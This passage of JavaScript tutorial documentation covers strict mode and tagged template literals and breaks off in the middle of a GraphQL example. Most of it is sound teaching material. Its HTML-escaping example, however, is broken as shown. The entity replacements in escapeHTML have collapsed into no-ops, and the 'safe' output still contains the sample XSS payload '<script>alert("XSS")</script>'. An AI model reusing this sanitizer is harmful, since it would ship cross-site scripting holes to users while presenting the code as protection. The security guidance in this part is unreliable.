ResizeObserver basics with hands-on coding examples for responsive layouts and element-level queries. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/strict-mode.mdx ================================================ --- title: "JavaScript Strict Mode" sidebarTitle: "Strict Mode: Catching Common Mistakes" description: "Learn JavaScript strict mode and how 'use strict' catches common mistakes. Understand silent errors it prevents, how this changes, and when to use it." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Language Mechanics" "article:tag": "strict mode, use strict, javascript errors, sloppy mode, strict mode rules, global scope" --- Why doesn't JavaScript yell at you when you misspell a variable name? Why can you accidentally create global variables without any warning? And why do some errors just... silently disappear? ```javascript // In regular JavaScript (sloppy mode) function calculateTotal(price) { // Oops! Typo in variable name - no error, just creates a global totall = price * 1.1 return total // ReferenceError - but only here! } ``` The answer is that JavaScript was designed to be forgiving. Too forgiving. [**Strict mode**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode) is an opt-in way to catch these mistakes early, turning silent failures into actual errors you can fix. ```javascript "use strict" function calculateTotal(price) { totall = price * 1.1 // ReferenceError: totall is not defined return total // Never reaches here - error caught immediately! } ``` <Info> **What you'll learn in this guide:** - How to enable strict mode (and when it's automatic) - The most common silent errors that strict mode catches - How `this` behaves differently in strict mode - Why `eval` and `arguments` have restrictions - Reserved words that strict mode protects for future JavaScript - When you don't need to add `"use strict"` anymore </Info> <Warning> **Prerequisite:** This guide references [Scope & Closures](/concepts/scope-and-closures) and [this, call, apply & bind](/concepts/this-call-apply-bind). If you're not comfortable with those yet, you can still follow along, but reading them first will make the examples clearer. </Warning> --- ## What is Strict Mode? **Strict mode** is an opt-in restricted variant of JavaScript, introduced in ECMAScript 5 (2009). It catches common mistakes by converting silent errors into thrown exceptions and disabling confusing features. Enable it by adding `"use strict"` at the beginning of a script or function. According to [MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode), strict mode applies different semantics to normal JavaScript: it eliminates some silent errors, fixes mistakes that prevent engine optimizations, and prohibits syntax likely to conflict with future ECMAScript versions. --- ## The Safety Net Analogy Think of strict mode like the safety net under a trapeze artist. Without the net, a small mistake might go unnoticed. The artist might develop bad habits, make minor errors in form, and never realize it until something goes seriously wrong. With the net in place, those small mistakes become obvious. When you slip, you notice immediately. You can correct your form before bad habits become permanent. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ SLOPPY MODE vs STRICT MODE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ SLOPPY MODE (Default) STRICT MODE ("use strict") │ │ ───────────────────── ───────────────────────── │ │ │ │ ┌──────────────────────┐ ┌──────────────────────┐ │ │ │ mistakeVar = 5 │ │ mistakeVar = 5 │ │ │ │ ↓ │ │ ↓ │ │ │ │ Creates global │ │ ReferenceError! │ │ │ │ (silent failure) │ │ (caught early) │ │ │ └──────────────────────┘ └──────────────────────┘ │ │ │ │ ┌──────────────────────┐ ┌──────────────────────┐ │ │ │ NaN = 42 │ │ NaN = 42 │ │ │ │ ↓ │ │ ↓ │ │ │ │ Does nothing │ │ TypeError! │ │ │ │ (no feedback) │ │ (can't assign) │ │ │ └──────────────────────┘ └──────────────────────┘ │ │ │ │ "Forgiving" but dangerous Strict but helpful │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` Strict mode doesn't make JavaScript a different language. It just adds guardrails that catch problems before they become bugs. --- ## How to Enable Strict Mode ### Whole-Script Strict Mode Add `"use strict";` as the very first statement in your file: ```javascript "use strict" // Everything in this file is now in strict mode let validVariable = 10 invalidVariable = 20 // ReferenceError! ``` <Warning> **The directive must be first.** If anything other than comments appears before `"use strict"`, it becomes a regular string and does nothing: ```javascript let x = 1 "use strict" // Too late! This is just a string now invalidVariable = 20 // No error - strict mode isn't active ``` </Warning> ### Function-Level Strict Mode You can enable strict mode for just one function: ```javascript function loose() { badVariable = "oops" // Creates global (sloppy mode) } function strict() { "use strict" badVariable = "oops" // ReferenceError! (strict mode) } ``` This is useful when adding strict mode to legacy codebases gradually. ### Automatic Strict Mode: Modules and Classes Here's the good news: **you probably don't need to write `"use strict"` anymore.** The State of JS 2023 survey shows that over 80% of respondents use ES modules in their projects, meaning strict mode is automatically enabled for the vast majority of modern JavaScript code. [ES Modules](/concepts/es-modules) are automatically in strict mode: ```javascript // myModule.js (or any file loaded as type="module") // No "use strict" needed - it's automatic! export function greet(name) { mesage = `Hello, ${name}` // ReferenceError! (strict mode is on) return message } ``` [Classes](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes) are also automatically strict: ```javascript class Calculator { add(a, b) { // This method runs in strict mode automatically reslt = a + b // ReferenceError! return result } } ``` <Tip> **Quick Rule:** If you're writing modern JavaScript with `import`/`export` or classes, strict mode is already on. You only need `"use strict"` for standalone scripts that don't use modules. </Tip> --- ## Silent Errors That Become Real Errors This is the biggest win of strict mode. JavaScript has many operations that silently fail in [sloppy mode](https://developer.mozilla.org/en-US/docs/Glossary/Sloppy_mode). Strict mode turns these into actual errors you can see and fix. ### 1. Accidental Global Variables The most common JavaScript mistake. In sloppy mode, assigning to an undeclared variable creates a global: ```javascript // ❌ SLOPPY MODE - silent bug function processUser(user) { userName = user.name // Typo! Creates window.userName return userName.toUpperCase() } processUser({ name: "Alice" }) console.log(window.userName) // "Alice" - leaked to global! ``` ```javascript // ✓ STRICT MODE - catches the bug "use strict" function processUser(user) { userName = user.name // ReferenceError: userName is not defined return userName.toUpperCase() } ``` This single change catches countless typos and copy-paste errors. According to a Stack Overflow analysis, accidental global variable creation is one of the top 10 most common JavaScript bugs, making this strict mode check especially valuable. See [Scope & Closures](/concepts/scope-and-closures) for more on how variable declarations work. ### 2. Assignments to Read-Only Properties Some properties can't be changed. In sloppy mode, trying to change them does nothing. In strict mode, you get an error: ```javascript // ❌ SLOPPY MODE - silent failure NaN = 42 // Does nothing undefined = true // Does nothing Infinity = 0 // Does nothing const obj = {} Object.defineProperty(obj, "fixed", { value: 10, writable: false }) obj.fixed = 20 // Does nothing - still 10 ``` ```javascript // ✓ STRICT MODE - actual errors "use strict" NaN = 42 // TypeError: Cannot assign to read-only property undefined = true // TypeError: Cannot assign to read-only property const obj = {} Object.defineProperty(obj, "fixed", { value: 10, writable: false }) obj.fixed = 20 // TypeError: Cannot assign to read-only property 'fixed' ``` ### 3. Assignments to Getter-Only Properties If a property only has a getter (no setter), assignment silently fails in sloppy mode: ```javascript const user = { get name() { return "Alice" } } // ❌ SLOPPY MODE user.name = "Bob" // Silent failure console.log(user.name) // Still "Alice" // ✓ STRICT MODE "use strict" user.name = "Bob" // TypeError: Cannot set property 'name' which has only a getter ``` ### 4. Deleting Undeletable Properties Built-in properties like `Object.prototype` can't be deleted: ```javascript // ❌ SLOPPY MODE - silent failure delete Object.prototype // Returns false, does nothing delete Math.PI // Returns false, does nothing // ✓ STRICT MODE - actual errors "use strict" delete Object.prototype // TypeError: Cannot delete property 'prototype' ``` ### 5. Duplicate Parameter Names This catches copy-paste errors in function definitions: ```javascript // ❌ SLOPPY MODE - silently uses last value function sum(a, a, b) { return a + a + b // First 'a' is lost! } sum(1, 2, 3) // Returns 7 (2 + 2 + 3), not 6 // ✓ STRICT MODE - syntax error "use strict" function sum(a, a, b) { // SyntaxError: Duplicate parameter name return a + a + b } ``` ### 6. Octal Literal Confusion Leading zeros in numbers can cause unexpected behavior: ```javascript // ❌ SLOPPY MODE - confusing octal interpretation const filePermissions = 0755 // This is 493 in decimal! console.log(filePermissions) // 493 // ✓ STRICT MODE - syntax error for legacy octal "use strict" const filePermissions = 0755 // SyntaxError: Octal literals are not allowed // Use the explicit 0o prefix instead: const correctPermissions = 0o755 // Clear: this is octal console.log(correctPermissions) // 493 ``` --- ## How `this` Changes in Strict Mode One of the most important strict mode changes affects the [`this`](/concepts/this-call-apply-bind) keyword. ### The Problem: Accidental Global Access In sloppy mode, when you call a function without a context, `this` defaults to the global object (`window` in browsers, `global` in Node.js): ```javascript // ❌ SLOPPY MODE - this = global object function showThis() { console.log(this) } showThis() // Window {...} or global object ``` This is dangerous because you might accidentally read or modify global properties: ```javascript // ❌ SLOPPY MODE - accidental global modification function setName(name) { this.name = name // Sets window.name! } setName("Alice") console.log(window.name) // "Alice" - leaked! ``` ### The Solution: `this` is `undefined` In strict mode, `this` remains `undefined` when a function is called without a context: ```javascript // ✓ STRICT MODE - this = undefined "use strict" function showThis() { console.log(this) } showThis() // undefined function setName(name) { this.name = name // TypeError: Cannot set property 'name' of undefined } ``` This makes bugs obvious instead of silently corrupting global state. <Note> **Arrow functions are different.** They inherit `this` from their surrounding scope regardless of strict mode. This behavior is consistent and not affected by the sloppy/strict distinction. </Note> --- ## Restrictions on `eval` and `arguments` Strict mode makes [`eval`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval) and [`arguments`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/arguments) less magical (and less dangerous). ### Can't Use as Variable Names ```javascript // ❌ SLOPPY MODE - allowed but confusing var eval = 10 var arguments = [1, 2, 3] // ✓ STRICT MODE - syntax error "use strict" let eval = 10 // SyntaxError: Unexpected eval or arguments in strict mode let arguments = [] // SyntaxError ``` ### `eval` Doesn't Leak Variables In sloppy mode, `eval` can create variables in the surrounding scope: ```javascript // ❌ SLOPPY MODE - eval leaks variables eval("var leaked = 'surprise!'") console.log(leaked) // "surprise!" - it escaped! // ✓ STRICT MODE - eval is contained "use strict" eval("var contained = 'trapped'") console.log(contained) // ReferenceError: contained is not defined ``` ### `arguments` Doesn't Sync with Parameters In sloppy mode, `arguments` and named parameters are linked: ```javascript // ❌ SLOPPY MODE - weird synchronization function weirdSync(a) { arguments[0] = 99 return a // Returns 99! Changed via arguments } weirdSync(1) // 99 // ✓ STRICT MODE - no synchronization "use strict" function noSync(a) { arguments[0] = 99 return a // Returns 1 - 'a' is independent } noSync(1) // 1 ``` --- ## Reserved Words for Future JavaScript Strict mode reserves words that might be used in future versions of JavaScript: ```javascript "use strict" // These are reserved and cause SyntaxError if used as identifiers: let implements // SyntaxError let interface // SyntaxError let package // SyntaxError let private // SyntaxError let protected // SyntaxError let public // SyntaxError let static // SyntaxError (except in class context) ``` This prevents your code from breaking when JavaScript adds new features using these keywords. --- ## The `with` Statement is Forbidden The [`with`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/with) statement is completely banned in strict mode: ```javascript // ❌ SLOPPY MODE - with is allowed but confusing const obj = { x: 10, y: 20 } with (obj) { console.log(x + y) // 30 - but where do x and y come from? } // ✓ STRICT MODE - with is forbidden "use strict" with (obj) { // SyntaxError: Strict mode code may not include a with statement console.log(x + y) } ``` The `with` statement makes code unpredictable and impossible to optimize. Use [destructuring](/concepts/modern-js-syntax) instead: ```javascript // ✓ BETTER - clear and explicit const { x, y } = obj console.log(x + y) // 30 - obviously from obj ``` --- ## Common Mistake: Adding `"use strict"` When It's Already On A frequent mistake is adding `"use strict"` to code that's already in strict mode: ```javascript // myModule.js - ES Module (already strict!) "use strict" // Unnecessary - modules are always strict export function greet() { // ... } ``` ```javascript class MyClass { myMethod() { "use strict" // Unnecessary - class bodies are always strict } } ``` This doesn't cause errors, but it's redundant. In modern JavaScript: | Context | Strict Mode | Need `"use strict"`? | |---------|-------------|---------------------| | ES Modules (`import`/`export`) | Automatic | No | | Class bodies | Automatic | No | | Code inside `eval()` in strict context | Automatic | No | | Regular `<script>` tags | Sloppy by default | Yes | | Node.js CommonJS files | Sloppy by default | Yes | --- ## Key Takeaways <Info> **The key things to remember:** 1. **Strict mode catches silent failures** — Operations that would silently fail (like assigning to read-only properties) now throw errors you can see and fix. 2. **`"use strict"` must be first** — Place it at the very top of a file or function, before any other statements. 3. **Modules and classes are automatically strict** — If you use `import`/`export` or classes, strict mode is already on. No need to add the directive. 4. **Accidental globals become errors** — The most common bug it catches. Assigning to an undeclared variable throws `ReferenceError` instead of creating a global. 5. **`this` is `undefined` in loose function calls** — Calling a function without a context gives `this = undefined` instead of the global object. This prevents accidental global pollution. 6. **`eval` is contained** — Variables created inside `eval()` stay inside. They don't leak into the surrounding scope. 7. **Duplicate parameters are forbidden** — `function f(a, a) {}` is a syntax error, catching copy-paste bugs. 8. **The `with` statement is banned** — Use destructuring instead for cleaner, more predictable code. 9. **Reserved words are protected** — Words like `private`, `public`, `interface` can't be used as variable names, preparing your code for future JavaScript features. 10. **Use strict mode everywhere** — There's no downside. Modern tooling and ES modules make this automatic. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="What happens when you assign to an undeclared variable in strict mode?"> **Answer:** You get a `ReferenceError`. In sloppy mode, this would silently create a global variable, which is almost never what you want. ```javascript "use strict" function example() { myVar = 10 // ReferenceError: myVar is not defined } ``` This catches typos like `userName` vs `username` immediately instead of creating mysterious global variables. </Accordion> <Accordion title="What is `this` inside a regular function call in strict mode?"> **Answer:** It's `undefined`. In sloppy mode, it would be the global object (`window` or `global`). ```javascript "use strict" function showThis() { console.log(this) // undefined } showThis() ``` This prevents accidental reads or writes to global properties through `this`. </Accordion> <Accordion title="Do you need to add 'use strict' to ES Modules?"> **Answer:** No. ES Modules are automatically in strict mode. Adding `"use strict"` is harmless but unnecessary. ```javascript // myModule.js export function greet() { // Already in strict mode - no directive needed mistypedVar = "oops" // ReferenceError (strict mode active) } ``` The same applies to class bodies, which are also automatically strict. </Accordion> <Accordion title="Why does strict mode forbid duplicate parameter names?"> **Answer:** To catch copy-paste errors. In sloppy mode, duplicate parameters silently shadow each other: ```javascript // Sloppy mode - confusing behavior function add(a, a) { return a + a // The first 'a' is lost, uses second value twice } add(1, 2) // Returns 4, not 3! // Strict mode - error "use strict" function add(a, a) { // SyntaxError: Duplicate parameter name return a + a } ``` </Accordion> <Accordion title="What's wrong with the `with` statement that strict mode bans it?"> **Answer:** The `with` statement makes it impossible to know where variables come from at a glance: ```javascript with (someObject) { x = 10 // Is this someObject.x or a variable x? Depends on runtime! } ``` This ambiguity prevents JavaScript engines from optimizing your code and makes bugs hard to track down. Use [destructuring](/concepts/modern-js-syntax) instead: ```javascript const { x, y, z } = someObject // Clear and explicit ``` </Accordion> <Accordion title="Why can't you use words like 'private' or 'interface' as variable names in strict mode?"> **Answer:** These words are reserved for potential future JavaScript features. Strict mode protects them so your code won't break when new syntax is added. ```javascript "use strict" let private = 10 // SyntaxError: Unexpected strict mode reserved word let interface = {} // SyntaxError ``` Some of these words (like `static`) are already used in class definitions. Others may be used in future versions. </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What does 'use strict' do in JavaScript?"> The `"use strict"` directive enables strict mode, which converts silent errors into thrown exceptions, prevents accidental global variable creation, and disables confusing features like the `with` statement. As defined in the ECMAScript specification, strict mode applies a restricted variant of JavaScript semantics. </Accordion> <Accordion title="Is strict mode still necessary with ES modules?"> No. ES modules are automatically in strict mode, so adding `"use strict"` is redundant when using `import`/`export` syntax. Class bodies are also automatically strict. You only need the directive for standalone `<script>` tags or Node.js CommonJS files that don't use modules. </Accordion> <Accordion title="Does strict mode affect JavaScript performance?"> Strict mode can improve performance in some cases. MDN documents that strict mode fixes mistakes that make it difficult for JavaScript engines to perform optimizations. By eliminating features like `with` and restricting `eval`, engines can make better assumptions about your code during compilation. </Accordion> <Accordion title="What happens to 'this' in strict mode?"> In strict mode, `this` is `undefined` in functions called without an explicit context, instead of defaulting to the global object (`window` or `global`). This prevents accidental reads and writes to global properties. Arrow functions are unaffected because they inherit `this` from their surrounding scope regardless of mode. </Accordion> <Accordion title="Can you disable strict mode after enabling it?"> No. Once strict mode is enabled for a script or function, it cannot be turned off within that scope. There is no `"use sloppy"` counterpart. If you need non-strict behavior, isolate that code in a separate non-strict script or wrap it in a function without the directive. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="ES Modules" icon="box" href="/concepts/es-modules"> Modules are automatically in strict mode. Learn the modern way to organize JavaScript code. </Card> <Card title="this, call, apply & bind" icon="bullseye" href="/concepts/this-call-apply-bind"> Deep dive into how `this` works and why strict mode changes its default behavior. </Card> <Card title="Scope and Closures" icon="lock" href="/concepts/scope-and-closures"> Understand how strict mode's scope changes relate to JavaScript's scoping rules. </Card> <Card title="Temporal Dead Zone" icon="clock" href="/beyond/concepts/temporal-dead-zone"> Another language mechanic that catches variable access errors early. </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Strict Mode — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode"> The complete reference for all strict mode changes and behaviors. </Card> <Card title="Sloppy Mode — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Glossary/Sloppy_mode"> MDN's glossary entry on the default non-strict mode. </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="The Modern Mode, 'use strict'" icon="newspaper" href="https://javascript.info/strict-mode"> A concise overview from javascript.info covering when and why to use strict mode. Great for a quick refresher. </Card> <Card title="What is Strict Mode in JavaScript?" icon="newspaper" href="https://www.freecodecamp.org/news/what-is-strict-mode-in-javascript/"> freeCodeCamp's beginner-friendly explanation with practical examples of each strict mode restriction. </Card> <Card title="Strict Mode — MDN" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode"> The definitive reference covering every strict mode change. Includes detailed explanations of edge cases and browser compatibility notes. </Card> <Card title="Transitioning to Strict Mode" icon="newspaper" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode"> MDN's guide for migrating existing codebases to strict mode. Covers common issues you'll encounter and how to resolve them. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="JavaScript Strict Mode" icon="video" href="https://www.youtube.com/watch?v=uqUYNqZx0qY"> Web Dev Simplified explains strict mode with clear examples of the errors it catches and why you should use it. </Card> <Card title="Strict Mode in 100 Seconds" icon="video" href="https://www.youtube.com/watch?v=JEDub1lG8o0"> Fireship's rapid-fire overview covering the key strict mode changes. Perfect for a quick introduction. </Card> <Card title="JavaScript 'use strict'" icon="video" href="https://www.youtube.com/watch?v=G9QTBS2x8U4"> Dcode walks through practical examples of strict mode errors, showing exactly what breaks and why. Good for visual learners. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/tagged-template-literals.mdx ================================================ --- title: "Tagged Template Literals" sidebarTitle: "Tagged Template Literals" description: "Learn JavaScript tagged template literals. Understand tag functions, access raw strings, and build HTML sanitizers and DSLs." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Modern Syntax & Operators" "article:tag": "tagged template literals, template strings, tag functions, dsl, html sanitizers" --- How do libraries like GraphQL and Lit HTML let you write special syntax inside JavaScript template literals? How can a function intercept and transform template strings before they become a final value? ```javascript // A tag function receives strings and values separately function highlight(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : '' return result + str + value }, '') } const name = 'Alice' const age = 30 console.log(highlight`User ${name} is ${age} years old`) // "User <mark>Alice</mark> is <mark>30</mark> years old" ``` The answer is **tagged template literals**. Introduced in the ECMAScript 2015 specification, they let you define a function that processes the template's static strings and dynamic values separately, giving you complete control over the final result. This unlocks powerful patterns like HTML sanitization, internationalization, and domain-specific languages. <Info> **What you'll learn in this guide:** - What tagged template literals are and how they differ from regular template literals - The tag function signature: the strings array, values, and the `raw` property - How [`String.raw`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/raw) works as JavaScript's built-in tag - Building custom tag functions for HTML escaping and security - Creating reusable templates and domain-specific languages (DSLs) - Common mistakes and edge cases to watch out for - Brief mention of TypeScript template literal types </Info> <Warning> **Prerequisite:** This guide assumes you understand basic [template literals](/concepts/modern-js-syntax#template-literals) (backticks, `${expression}` interpolation). If you're not comfortable with those, review that section first. </Warning> --- ## What are Tagged Template Literals? **Tagged template literals** are a way to call a function using a template literal. Instead of parentheses, you place the function name directly before the backtick. The function (called a "tag") receives the template's strings and interpolated values as separate arguments, allowing it to process them however it wants before returning a result. ```javascript // Regular template literal - just produces a string const message = `Hello ${name}` // Tagged template literal - calls the function 'myTag' const result = myTag`Hello ${name}` ``` The key difference: a regular template literal automatically concatenates strings and values into one string. A tagged template literal passes everything to your function first, and your function decides what to return. It doesn't even have to return a string. --- ## The Mail Merge Analogy Think of tagged templates like a mail merge in a word processor. Imagine you're sending personalized letters. You have a template with placeholders: "Dear `{name}`, your order `{orderNumber}` has shipped." The mail merge system receives both the static template parts and the dynamic values separately, then combines them according to its rules. A tag function works the same way. It receives the static strings ("Dear ", ", your order ", " has shipped.") and the dynamic values ("Alice", "12345") separately. This separation is what makes tagged templates powerful. You can: - **Escape** the values to prevent security issues - **Transform** the values before inserting them - **Validate** the values match expected types - **Return** something other than a string entirely ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ HOW TAG FUNCTIONS WORK │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ myTag`Hello ${name}, you have ${count} messages` │ │ │ │ │ │ │ │ │ │ │ └──────────────────┐ │ │ │ │ └────────────────┐ │ │ │ │ └──────────┐ │ │ │ │ └────┐ │ │ │ │ │ │ │ │ │ │ │ ▼ ▼ ▼ ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ myTag(strings, ...values) │ │ │ │ │ │ │ │ strings = ["Hello ", ", you have ", " messages"] │ │ │ │ values = [name, count] │ │ │ │ │ │ │ │ strings.length === values.length + 1 (always true!) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## How Tag Functions Work A tag function receives two types of arguments: 1. **First argument:** An array of string literals (the static parts) 2. **Remaining arguments:** The evaluated expressions (the dynamic values) ### The Basic Signature ```javascript function myTag(strings, ...values) { console.log(strings) // Array of static strings console.log(values) // Array of interpolated values return 'whatever you want' } ``` Let's trace through an example: ```javascript function inspect(strings, ...values) { console.log('Strings:', strings) console.log('Values:', values) console.log('String count:', strings.length) console.log('Value count:', values.length) } const fruit = 'apple' const count = 5 inspect`I have ${count} ${fruit}s` // Strings: ["I have ", " ", "s"] // Values: [5, "apple"] // String count: 3 // Value count: 2 ``` ### The Golden Rule There's always **one more string than there are values**. This is because: - A template starts with a string (possibly empty) - Each value is surrounded by strings - A template ends with a string (possibly empty) ```javascript function countParts(strings, ...values) { return `${strings.length} strings, ${values.length} values` } console.log(countParts`${1}`) // "2 strings, 1 values" console.log(countParts`x${1}`) // "2 strings, 1 values" console.log(countParts`${1}y`) // "2 strings, 1 values" console.log(countParts`x${1}y`) // "2 strings, 1 values" console.log(countParts`x${1}y${2}z`) // "3 strings, 2 values" ``` This predictable structure makes it easy to interleave strings and values: ```javascript function interleave(strings, ...values) { let result = '' for (let i = 0; i < values.length; i++) { result += strings[i] + values[i] } result += strings[strings.length - 1] // Don't forget the last string! return result } const name = 'World' console.log(interleave`Hello, ${name}!`) // "Hello, World!" ``` ### A Cleaner Pattern with reduce The [`reduce`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce) method handles the interleaving elegantly: ```javascript function simple(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? values[i] : '' return result + str + value }, '') } ``` --- ## The Raw Strings Property The first argument to a tag function isn't just an array. It has a special `raw` property containing the raw, unprocessed string literals. ### Cooked vs Raw - **Cooked strings** (`strings`): Escape sequences are processed (`\n` becomes a newline) - **Raw strings** (`strings.raw`): Escape sequences are preserved as-is (`\n` stays as backslash-n) ```javascript function showBoth(strings) { console.log('Cooked:', strings[0]) console.log('Raw:', strings.raw[0]) } showBoth`Line1\nLine2` // Cooked: "Line1 // Line2" (actual newline character) // Raw: "Line1\\nLine2" (the literal characters \ and n) ``` This distinction matters when you're building tools that need to preserve the original source text, like syntax highlighters or code formatters. ### Invalid Escape Sequences In regular template literals, invalid escape sequences cause syntax errors: ```javascript // SyntaxError in a normal template literal // const bad = `\unicode` // Error: Invalid Unicode escape sequence ``` But in tagged templates, invalid escapes are allowed. The cooked value becomes `undefined`, but the raw value is preserved: ```javascript function handleInvalid(strings) { console.log('Cooked:', strings[0]) console.log('Raw:', strings.raw[0]) } handleInvalid`\unicode` // Cooked: undefined // Raw: "\\unicode" ``` This lets tagged templates work with DSLs (like LaTeX or regex patterns) that use backslash syntax differently than JavaScript. --- ## String.raw: The Built-in Tag JavaScript includes one built-in tag function: [`String.raw`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/raw). As MDN documents, it returns a string where escape sequences are not processed — the only tag function provided by the standard library. ### Basic Usage ```javascript // Normal template literal - escape sequences are processed console.log(`Line1\nLine2`) // Line1 // Line2 // String.raw - escape sequences stay as literal characters console.log(String.raw`Line1\nLine2`) // "Line1\nLine2" ``` ### Perfect for File Paths Windows file paths are much cleaner with `String.raw`: ```javascript // Without String.raw - need to escape every backslash const path1 = 'C:\\Users\\Alice\\Documents\\file.txt' // With String.raw - write naturally const path2 = String.raw`C:\Users\Alice\Documents\file.txt` console.log(path1 === path2) // true ``` ### Perfect for Regular Expressions Regex patterns often contain backslashes. `String.raw` eliminates double-escaping: ```javascript // Without String.raw - double escaping needed const pattern1 = new RegExp('\\d+\\.\\d+') // With String.raw - much cleaner const pattern2 = new RegExp(String.raw`\d+\.\d+`) console.log(pattern1.test('3.14')) // true console.log(pattern2.test('3.14')) // true ``` ### How String.raw Works Under the Hood `String.raw` can also be called as a regular function with an object: ```javascript // Called with a template literal console.log(String.raw`Hi\n${2 + 3}!`) // "Hi\n5!" // Called as a function (same result) console.log(String.raw({ raw: ['Hi\\n', '!'] }, 5)) // "Hi\n5!" ``` --- ## Building Custom Tag Functions Now let's build some practical tag functions. ### Example 1: HTML Escaping One of the most common uses for tagged templates is preventing XSS (Cross-Site Scripting) attacks by escaping user input: ```javascript function escapeHTML(str) { return str .replace(/&/g, '&') .replace(/</g, '<') .replace(/>/g, '>') .replace(/"/g, '"') .replace(/'/g, ''') } function html(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? escapeHTML(String(values[i])) : '' return result + str + value }, '') } // Safe: user input is escaped const userInput = '<script>alert("XSS")</script>' const safe = html`<div>User said: ${userInput}</div>` console.log(safe) // "<div>User said: <script>alert("XSS")</script></div>" ``` The static parts (written by the developer) pass through unchanged, but dynamic values (potentially from users) are escaped. ### Example 2: Highlighting Values Mark all interpolated values with a highlight: ```javascript function highlight(strings, ...values) { return strings.reduce((result, str, i) => { const value = values[i] !== undefined ? `<mark>${values[i]}</mark>` : '' return result + str + value }, '') } const product = 'Widget' const price = 29.99 const message = highlight`The ${product} costs $${price}` console.log(message) // "The <mark>Widget</mark> costs $<mark>29.99</mark>" ``` ### Example 3: Currency Formatting Format numbers as currency automatically: ```javascript function currency(strings, ...values) { const formatter = new Intl.NumberFormat('en-US', { style: 'currency', currency: 'USD' }) return strings.reduce((result, str, i) => { let value = values[i] if (typeof value === 'number') { value = formatter.format(value) } return result + str + (value ?? '') }, '') } const item = 'Coffee' const price = 4.5 const tax = 0.36 console.log(currency`${item}: ${price} + ${tax} tax`) // "Coffee: $4.50 + $0.36 tax" ``` ### Example 4: Debug Logging Create a debug tag that shows types and values: ```javascript function debug(strings, ...values) { let output = '' strings.forEach((str, i) => { output += str if (i < values.length) { const type = typeof values[i] const val = JSON.stringify(values[i]) output += `[${type}: ${val}]` } }) return output } const user = { name: 'Alice', age: 30 } const items = ['apple', 'banana'] console.log(debug`User: ${user}, Items: ${items}`) // "User: [object: {"name":"Alice","age":30}], Items: [object: ["apple","banana"]]" ``` --- ## Advanced Patterns ### Returning Non-Strings Tag functions don't have to return strings. They can return anything: ```javascript // Return an array function toArray(strings, ...values) { return values } console.log(toArray`${1} and ${2} and ${3}`) // [1, 2, 3] // Return an object function toObject(strings, ...values) { const keys = strings.slice(0, -1).map(s => s.trim().replace(':', '')) const obj = {} keys.forEach((key, i) => { if (key) obj[key] = values[i] }) return obj } const name = 'Alice' const age = 30 console.log(toObject`name: ${name}, age: ${age},`) // { name: "Alice", age: 30 } ``` ### Reusable Template Factories Return a function for reusable templates: ```javascript function template(strings, ...keys) { return function(data) { return strings.reduce((result, str, i) => { const key = keys[i] const value = key !== undefined ? data[key] : '' return result + str + value }, '') } } // Create a reusable template const greeting = template`Hello, ${'name'}! You have ${'count'} messages.` // Use it with different data console.log(greeting({ name: 'Alice', count: 5 })) // "Hello, Alice! You have 5 messages." console.log(greeting({ name: 'Bob', count: 0 })) // "Hello, Bob! You have 0 messages." ``` ### Building an Identity Tag To create a tag that processes escapes normally (like an untagged template): ```javascript // String.raw keeps escapes raw - not what we want for an identity tag console.log(String.raw`Line1\nLine2`) // "Line1\nLine2" (literal backslash-n) // An identity tag that processes escapes normally function identity(strings, ...values) { // Pass the "cooked" strings as if they were raw return String.raw({ raw: strings }, ...values) } console.log(identity`Line1\nLine2`) // "Line1 // Line2" (actual newline) ``` This pattern is useful when you want IDE syntax highlighting support for tagged templates but want the same output as an untagged template. --- ## Real-World Use Cases Tagged template literals power many popular libraries and patterns. Libraries like Apollo GraphQL (the `gql` tag), Lit (HTML templates), and styled-components (CSS-in-JS) all rely on tagged templates as their core API: ### SQL Query Builders Safely parameterize SQL queries to prevent SQL injection: ```javascript function sql(strings, ...values) { // In a real implementation, this would use parameterized queries const query = strings.reduce((result, str, i) => { return result + str + (i < values.length ? `$${i + 1}` : '') }, '') return { text: query, values: values } } const userId = 123 const status = 'active' const query = sql` SELECT * FROM users WHERE id = ${userId} AND status = ${status} ` console.log(query.text) // "SELECT * FROM users WHERE id = $1 AND status = $2" console.log(query.values) // [123, "active"] ``` ### GraphQL Queries The `gql` tag in Apollo and other GraphQL clients parses query strings: ```javascript // Conceptual example (actual implementation is more complex) function gql(strings, 